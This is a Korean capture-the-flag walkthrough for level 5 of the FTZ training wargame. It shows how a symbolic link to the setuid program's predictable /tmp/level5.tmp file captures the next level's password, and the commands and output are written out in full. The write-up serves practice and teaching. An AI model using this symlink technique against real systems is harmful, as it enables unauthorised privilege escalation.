

FTZ_level5

```
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시 파일을 생성한다 .

이름 이용하여 level6의 권한을 얻어라 .

[level5@ftz level5]$ cd /usr/bin
[level5@ftz bin]$ ls -l | grep level5
-rws--x--- 1 level6 level5 12236 Sep 10 2011 level5
[level5@ftz bin]$
```

level5 라는 파일을 확인하기 위해 /usr/bin 으로 이동하여 level5 파일을 확인

```
[level5@ftz bin]$ ./level5
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -l
total 0
srwxrwxrwx 1 mysql mysql 0 Aug 13 10:38 mysql.sock
[level5@ftz tmp]$
```

실행 후 level5.tmp 파일이 생성되는지 확인해 보았지만 존재하지 않음

level5.tmp 파일이 삭제되는 것이라 가정하고 심볼릭 링크를 통해 level5.tmp파일의 내용을 다른 파일에 데이터를 씀

```
[level5@ftz tmp]$ touch symbolic
[level5@ftz tmp]$ ln -s symbolic level5.tmp
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt 2 root root 4096 Aug 13 11:01 .
drwxr-xr-x 20 root root 4096 Aug 13 10:38 ..
lrwxrwxrwx 1 level5 level5 8 Aug 13 11:01 level5.tmp -> symbolic
srwxrwxrwx 1 mysql mysql 0 Aug 13 10:38 mysql.sock
-rw-rw-r-- 1 level5 level5 0 Aug 13 11:01 symbolic
[level5@ftz tmp]$
```

파일을 생성하고 심볼릭 링크를 걸어준 다음 확인

```

[level5@ftz level5]$ cd /usr/bin
[level5@ftz bin]$ ./level5
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -al
total 16
drwxrwxrwt    3 root    root    4096 Aug 13 13:29 .
drwxr-xr-x   20 root    root    4096 Aug 13 13:27 ..
drwx-----   2 root    root    4096 Dec 19  2007 ogn5fpxN
lrwxrwxrwx    1 level5  level5     8 Aug 13 13:29 level5.tmp -> symbolic
srwxrwxrwx    1 mysql   mysql     0 Aug 13 13:27 mysql.sock
-rw-rw-r--    1 level5  level5    31 Aug 13 13:32 symbolic
[level5@ftz tmp]$ cat symbolic
next password : what the hell
[level5@ftz tmp]$ █

```

bin 디렉터리에서 level5 파일을 실행시키고 나서 tmp로 이동하니 symbolic 파일의 크기가 31바이트로 증가함

실행결과 level6의 암호 획득